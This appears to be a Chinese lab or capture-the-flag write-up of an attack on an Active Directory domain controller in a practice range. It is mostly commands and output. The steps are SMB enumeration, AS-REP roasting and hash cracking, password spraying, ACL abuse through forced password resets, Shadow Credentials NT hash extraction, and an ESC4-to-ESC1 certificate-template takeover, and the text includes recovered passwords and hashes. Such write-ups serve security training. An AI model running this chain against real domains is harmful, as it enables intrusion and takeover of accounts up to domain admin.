无境靶场-Chaos Corp

信息收集

C:\Users\Anonymous\Desktop\Tool\fscan\fscanplus>fscanPlus_amd64.exe -h 192.168.111.10 -p 1-65535
start infoscan
192.168.111.10:389 open
192.168.111.10:464 open
192.168.111.10:445 open
192.168.111.10:53 open
192.168.111.10:80 open
192.168.111.10:88 open
192.168.111.10:139 open
192.168.111.10:135 open
192.168.111.10:593 open
192.168.111.10:636 open
192.168.111.10:3269 open
192.168.111.10:3268 open
192.168.111.10:5985 open
192.168.111.10:9389 open
192.168.111.10:49666 open
192.168.111.10:49670 open
192.168.111.10:49668 open
192.168.111.10:49669 open
192.168.111.10:49671 open
192.168.111.10:49682 open
192.168.111.10:49691 open
192.168.111.10:49705 open
[*] alive ports len is: 22
start vulscan
[*] WebTitle http://192.168.111.10     code:200 len:703    title:IIS Windows Server
[*] NetInfo
[*]192.168.111.10
   [->]ad
   [->]192.168.111.10
[*] WebTitle http://192.168.111.10:5985 code:404 len:315    title:Not Found
[*] OsInfo 192.168.111.10       (Windows Server 2016 Standard 14393)
[*] NetBios 192.168.111.10  [+] DC:ad.sec.org                    Windows Server 2016 Standard 14393
已完成 22/22
[*] 扫描结束,耗时: 6m3.3826952s

SMB 匿名枚举发现共享列表

(base) ┌──(root㉿zss)-[/home/zss/桌面/pwn_tools/MCP-Kali-Server-main]
└─# smbclient -N -L //192.168.111.10

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      远程管理
        C$              Disk      默认共享
        CEO             Disk      仅限 CEO 组成员访问 | CEO
        CertEnroll      Disk      Active Directory 证书服务共享
        Dev             Disk      仅限 Dev 组成员访问 | 项目代码仓库
        HR              Disk      仅限 HR 组成员访问 | 人才库
        IPC$            IPC       远程 IPC
        IT              Disk      仅限 IT 组成员访问 | 运维仓库
        NETLOGON        Disk      Logon server share 
        New             Disk      共享 | 新员工入职指引
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.111.10 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

发现多个共享:CEO、HR、Dev、IT、New 等

使用 Guest 账户访问 New 共享

(base) ┌──(root㉿zss)-[/home/zss/桌面/pwn_tools/MCP-Kali-Server-main]
└─# smbclient -N //192.168.111.10/New -c "ls"
  .                                   D        0  Tue Jan  6 12:36:57 2026
  ..                                  D        0  Tue Jan  6 12:36:57 2026
  账户指引.txt                    A       48  Tue Jan  6 15:29:45 2026

                15583487 blocks of size 4096. 10581517 blocks available

发现文件:账户指引.txt

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# smbclient -N //192.168.111.10/New -c "get 账户指引.txt"
getting file \账户指引.txt of size 48 as 账户指引.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# iconv -f GBK -t UTF-8 账户指引.txt
新员工共享账户
账户名:newmht
密码:New@1234  

验证凭据

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# nxc smb 192.168.111.10 -u newmht -p 'New@1234'
SMB         192.168.111.10  445    AD               [*] Windows 10 / Server 2016 Build 14393 x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) 
SMB         192.168.111.10  445    AD               [+] sec.org\newmht:New@1234

RID循环枚举用户

                                                                                                                                                                                                                                                                         
(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# nxc smb 192.168.111.10 -u 'Guest' -p '' --rid-brute
SMB         192.168.111.10  445    AD               [*] Windows 10 / Server 2016 Build 14393 x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) 
SMB         192.168.111.10  445    AD               [+] sec.org\Guest: 
SMB         192.168.111.10  445    AD               498: SEC\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               500: SEC\Administrator (SidTypeUser)
SMB         192.168.111.10  445    AD               501: SEC\Guest (SidTypeUser)
SMB         192.168.111.10  445    AD               502: SEC\krbtgt (SidTypeUser)
SMB         192.168.111.10  445    AD               503: SEC\DefaultAccount (SidTypeUser)
SMB         192.168.111.10  445    AD               512: SEC\Domain Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               513: SEC\Domain Users (SidTypeGroup)
SMB         192.168.111.10  445    AD               514: SEC\Domain Guests (SidTypeGroup)
SMB         192.168.111.10  445    AD               515: SEC\Domain Computers (SidTypeGroup)
SMB         192.168.111.10  445    AD               516: SEC\Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               517: SEC\Cert Publishers (SidTypeAlias)
SMB         192.168.111.10  445    AD               518: SEC\Schema Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               519: SEC\Enterprise Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               520: SEC\Group Policy Creator Owners (SidTypeGroup)
SMB         192.168.111.10  445    AD               521: SEC\Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               522: SEC\Cloneable Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               525: SEC\Protected Users (SidTypeGroup)
SMB         192.168.111.10  445    AD               526: SEC\Key Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               527: SEC\Enterprise Key Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               553: SEC\RAS and IAS Servers (SidTypeAlias)
SMB         192.168.111.10  445    AD               571: SEC\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         192.168.111.10  445    AD               572: SEC\Denied RODC Password Replication Group (SidTypeAlias)
SMB         192.168.111.10  445    AD               1000: SEC\AD$ (SidTypeUser)
SMB         192.168.111.10  445    AD               1101: SEC\DnsAdmins (SidTypeAlias)
SMB         192.168.111.10  445    AD               1102: SEC\DnsUpdateProxy (SidTypeGroup)
SMB         192.168.111.10  445    AD               1103: SEC\mht (SidTypeUser)
SMB         192.168.111.10  445    AD               1104: SEC\Cert (SidTypeGroup)
SMB         192.168.111.10  445    AD               1111: SEC\人事部 (SidTypeGroup)
SMB         192.168.111.10  445    AD               1112: SEC\运维部 (SidTypeGroup)
SMB         192.168.111.10  445    AD               1113: SEC\开发部 (SidTypeGroup)
SMB         192.168.111.10  445    AD               1114: SEC\CEO (SidTypeGroup)
SMB         192.168.111.10  445    AD               1132: SEC\lily (SidTypeUser)
SMB         192.168.111.10  445    AD               1133: SEC\New (SidTypeGroup)
SMB         192.168.111.10  445    AD               1134: SEC\newmht (SidTypeUser)
SMB         192.168.111.10  445    AD               1135: SEC\Cook (SidTypeUser)
SMB         192.168.111.10  445    AD               1136: SEC\Jim (SidTypeUser)
SMB         192.168.111.10  445    AD               1137: SEC\John (SidTypeUser)
SMB         192.168.111.10  445    AD               1138: SEC\Moly (SidTypeUser)
SMB         192.168.111.10  445    AD               1601: SEC\Jock (SidTypeUser)

整理用户名

Administrator
Guest
krbtgt
mht
lily
newmht
Cook
Jim
John
Moly
Jock

AD CS证书攻击 (ESC8)

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# certipy find -u newmht@sec.org -p 'New@1234' -dc-ip 192.168.111.10 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 32 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 10 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sec-AD-CA' via RRP
[*] Successfully retrieved CA configuration for 'sec-AD-CA'
[*] Checking web enrollment for CA 'sec-AD-CA' @ 'ad.sec.org'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sec-AD-CA
    DNS Name                            : ad.sec.org
    Certificate Subject                 : CN=sec-AD-CA, DC=sec, DC=org
    Certificate Serial Number           : 37AE081BC4D172904CD68DA9BEFAEA08
    Certificate Validity Start          : 2025-12-26 03:02:33+00:00
    Certificate Validity End            : 2030-12-26 03:12:33+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SEC.ORG\Administrators
      Access Rights
        ManageCa                        : SEC.ORG\Administrators
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        ManageCertificates              : SEC.ORG\Administrators
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        Enroll                          : SEC.ORG\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
Certificate Templates                   : [!] Could not find any certificate templates

发现存在ESC8漏洞,ADCS和DC同一台机器,参考CVE-2025-33073打法,但是Web Enrollment 禁用了 NTLM 认证,ESC8 无法直接利用。

AS-REP Roasting(lily)

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# impacket-GetNPUsers -dc-ip 192.168.111.10 'sec.org/newmht:New@1234' -request
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

Name  MemberOf             PasswordLastSet             LastLogon                   UAC      
----  -------------------  --------------------------  --------------------------  --------
lily  CN=HR,DC=sec,DC=org  2026-01-06 11:09:53.162523  2026-01-08 16:39:01.657656  0x410200 

$krb5asrep$23$lily@SEC.ORG:8ed4bfc10bed9fc9b7ed8fe5d81a83b6$a51eea6846d8a621b5244b602f10a8e4dc21c55790e0977a379cac7a5b3f9910a172cea83405ee44fdab9268a14bd8b02ac66bba14b9920af903c1d3d5e7e8436a54811ef614f0562f0c8bb503119e221d08ac99621129979d37360b69493fe127b54a2a1deebe52d0621ce72a31e7344692e320f063fddf929b7c150f65cff3ac9e8fc93dc48dcc66ea62d88821b865767640f923948df51d1baa40e23f83043e94424c151d32339f8ba362455c12d3a520ad78b6b2084f52ed11ad1191b611dc9b61e8a11fc475d76340fb60d0d75552a633aaa2156b39631c1a97628e57013a1f

​lily用户禁用了Kerberos预认证 (DONT_REQ_PREAUTH)

破解AS-REP Hash

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# vim lily_hash.txt

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# hashcat -m 18200 lily_hash.txt /usr/share/wordlists/rockyou.txt --force
hashcat (v7.1.2) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 5 5600H with Radeon Graphics, 2931/5862 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (3763 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$lily@SEC.ORG:eb16f048cd039c8dd4eb637d0e57a058$e633802bcd9e8c25f8b74ac4c80266462f98b3f371d8ee20cdf90a847775710d17d0692085a2eab4d0b71eba7db097c8266060602cc423365ddb44ff4fce6e3edcded297fc3ceb6776e27e116867bb7018ce4d4d200239c28d64b81e5ed0bb59a539229d5eee03c794134d2fc11e33e6dad939d7b7aec0d10cffc135204e7b58b7f6a4ea9721278931c8a73f9e857bd704acca39b86c4661ac549a5f5c4208a848290c329f36ff16ef8227727e3d4b1de199b20c003c738da5411e159a92fe73c16ade9d3babcd927fef46aaf90d47f2aaff2e77e91e5d9707091c66ddc9a71cdba0:mahalkita

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$lily@SEC.ORG:eb16f048cd039c8dd4eb637d...1cdba0
Time.Started.....: Thu Jan  8 17:07:40 2026, (0 secs)
Time.Estimated...: Thu Jan  8 17:07:40 2026, (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   795.0 kH/s (2.38ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> oooooo
Hardware.Mon.#01.: Util: 39%

Started: Thu Jan  8 17:07:38 2026
Stopped: Thu Jan  8 17:07:42 2026

得到密码:mahalkita

使用bloodyAD枚举ACL

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# bloodyAD -u lily -p 'mahalkita' -d sec.org --host 192.168.111.10 get writable --detail

distinguishedName: CN=lily,CN=Users,DC=sec,DC=org
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=sec,DC=org
url: WRITE
wWWHomePage: WRITE

distinguishedName: DC=sec.org,CN=MicrosoftDNS,DC=DomainDnsZones,DC=sec,DC=org
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD

distinguishedName: DC=_msdcs.sec.org,CN=MicrosoftDNS,DC=ForestDnsZones,DC=sec,DC=org
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD

发现的攻击链

lily (已获取)
  ↓ [需要Moly密码]
Moly (HR主管)
  ↓ WriteOwner + GenericWrite 对 Dev组
Dev组 (开发部)
  ↓ GenericWrite 对 Cook
Cook (开发部主管)
  ↓ ForceChangePassword 对 Jock
Jock (IT主管)
  ↓ GenericAll 对 mht
mht (CEO, Cert组成员)
  ↓ ESC4: Write Owner + Write Dacl 对 User证书模板
User证书模板 → ESC1 → 域管理员

密码喷洒(Moly)

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# nxc smb 192.168.111.10 -u user.txt -p 'mahalkita' --continue-on-success
SMB         192.168.111.10  445    AD               [*] Windows 10 / Server 2016 Build 14393 x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) 
SMB         192.168.111.10  445    AD               [-] sec.org\Administrator:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [-] sec.org\Guest:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [-] sec.org\krbtgt:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [-] sec.org\mht:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [+] sec.org\lily:mahalkita 
SMB         192.168.111.10  445    AD               [-] sec.org\newmht:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [-] sec.org\Cook:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [-] sec.org\Jim:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [-] sec.org\John:mahalkita STATUS_LOGON_FAILURE 
SMB         192.168.111.10  445    AD               [+] sec.org\Moly:mahalkita 
SMB         192.168.111.10  445    AD               [-] sec.org\Jock:mahalkita STATUS_LOGON_FAILURE 

发现Moly密码也是mahalkita

Moly添加自己到Dev组

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# bloodyAD -u Moly -p 'mahalkita' -d sec.org --host 192.168.111.10 add groupMember 'CN=Dev,DC=sec,DC=org' 'Moly'
[+] Moly added to CN=Dev,DC=sec,DC=org

Shadow Credentials攻击(Cook)

需要进行时间同步

https://github.com/Byxs20/get_dc_time

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# python3 get_dc_time.py 192.168.111.10
2026-01-09 01:02:33.000000

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# faketime "2026-01-09 01:02:33" certipy-ad shadow auto -u Moly@sec.org -p 'mahalkita' -dc-ip 192.168.111.10 -account Cook
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'Cook'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1a6832cfc1b542e4a7e4298946f21884'
[*] Adding Key Credential with device ID '1a6832cfc1b542e4a7e4298946f21884' to the Key Credentials for 'Cook'
[*] Successfully added Key Credential with device ID '1a6832cfc1b542e4a7e4298946f21884' to the Key Credentials for 'Cook'
[*] Authenticating as 'Cook' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'cook@sec.org'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'cook.ccache'
[*] Wrote credential cache to 'cook.ccache'
[*] Trying to retrieve NT hash for 'cook'
[*] Restoring the old Key Credentials for 'Cook'
[*] Successfully restored the old Key Credentials for 'Cook'
[*] NT hash for 'Cook': 8ac71e8fdb3f7468c3b0d80611dee7e4

获取Cook NTLM Hash:

8ac71e8fdb3f7468c3b0d80611dee7e4

Cook修改Jock密码

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# bloodyAD -u Cook -p ':8ac71e8fdb3f7468c3b0d80611dee7e4' -d sec.org --host 192.168.111.10 set password 'Jock' 'Hacked@123'
[+] Password changed successfully!

Jock修改mht密码

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# bloodyAD -u Jock -p 'Hacked@123' -d sec.org --host 192.168.111.10 set password 'mht' 'CEO@Hacked123'
[+] Password changed successfully!

AD CS证书攻击 (ESC4 + ESC1)

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# nxc smb 192.168.111.10 -u mht -p 'CEO@Hacked123'
SMB         192.168.111.10  445    AD               [*] Windows 10 / Server 2016 Build 14393 x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True)
SMB         192.168.111.10  445    AD               [+] sec.org\mht:CEO@Hacked123

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# certipy find -u mht@sec.org -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 32 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 10 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sec-AD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'sec-AD-CA'
[*] Checking web enrollment for CA 'sec-AD-CA' @ 'ad.sec.org'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sec-AD-CA
    DNS Name                            : ad.sec.org
    Certificate Subject                 : CN=sec-AD-CA, DC=sec, DC=org
    Certificate Serial Number           : 37AE081BC4D172904CD68DA9BEFAEA08
    Certificate Validity Start          : 2025-12-26 03:02:33+00:00
    Certificate Validity End            : 2030-12-26 03:12:33+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SEC.ORG\Administrators
      Access Rights
        ManageCa                        : SEC.ORG\Administrators
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        ManageCertificates              : SEC.ORG\Administrators
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        Enroll                          : SEC.ORG\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
Certificate Templates
  0
    Template Name                       : User
    Display Name                        : 用户
    Certificate Authorities             : sec-AD-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-12-26T03:12:33+00:00
    Template Last Modified              : 2025-12-26T03:19:21+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEC.ORG\Cert
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
      Object Control Permissions
        Owner                           : SEC.ORG\Enterprise Admins
        Full Control Principals         : SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        Write Owner Principals          : SEC.ORG\Cert
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        Write Dacl Principals           : SEC.ORG\Cert
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        Write Property Enroll           : SEC.ORG\Cert
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
    [+] User Enrollable Principals      : SEC.ORG\Cert
    [+] User ACL Principals             : SEC.ORG\Cert
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

发现ESC4漏洞,mht (Cert组成员) 对User证书模板有 Write Owner 和 Write Dacl 权限。

ESC4: 修改User模板为ESC1漏洞配置

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# certipy-ad template -u 'mht@sec.org' -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -template 'User' -write-default-configuration
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Saving current configuration to 'User.json'
[*] Wrote current configuration for 'User' to 'User.json'
[*] Updating certificate template 'User'
[*] Adding:
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
[*] Replacing:
[*]     nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*]     flags: 66104
[*]     pKIDefaultKeySpec: 2
[*]     pKIKeyUsage: b'\x86\x00'
[*]     pKIMaxIssuingDepth: -1
[*]     pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*]     msPKI-Enrollment-Flag: 0
[*]     msPKI-Certificate-Name-Flag: 1
Are you sure you want to apply these changes to 'User'? (y/N): y
[*] Successfully updated 'User'

再次扫描

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# certipy find -u mht@sec.org -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 32 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 10 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sec-AD-CA' via RRP
[*] Successfully retrieved CA configuration for 'sec-AD-CA'
[*] Checking web enrollment for CA 'sec-AD-CA' @ 'ad.sec.org'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sec-AD-CA
    DNS Name                            : ad.sec.org
    Certificate Subject                 : CN=sec-AD-CA, DC=sec, DC=org
    Certificate Serial Number           : 37AE081BC4D172904CD68DA9BEFAEA08
    Certificate Validity Start          : 2025-12-26 03:02:33+00:00
    Certificate Validity End            : 2030-12-26 03:12:33+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SEC.ORG\Administrators
      Access Rights
        ManageCa                        : SEC.ORG\Administrators
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        ManageCertificates              : SEC.ORG\Administrators
                                          SEC.ORG\Domain Admins
                                          SEC.ORG\Enterprise Admins
        Enroll                          : SEC.ORG\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
Certificate Templates
  0
    Template Name                       : User
    Display Name                        : 用户
    Certificate Authorities             : sec-AD-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-12-26T03:12:33+00:00
    Template Last Modified              : 2026-01-08T17:07:09+00:00
    Permissions
      Object Control Permissions
        Owner                           : SEC.ORG\Enterprise Admins
        Full Control Principals         : SEC.ORG\Authenticated Users
        Write Owner Principals          : SEC.ORG\Authenticated Users
        Write Dacl Principals           : SEC.ORG\Authenticated Users
    [+] User Enrollable Principals      : SEC.ORG\Authenticated Users
    [+] User ACL Principals             : SEC.ORG\Authenticated Users
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC15                             : Enrollee supplies subject and schema version is 1.
      ESC4                              : User has dangerous permissions.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
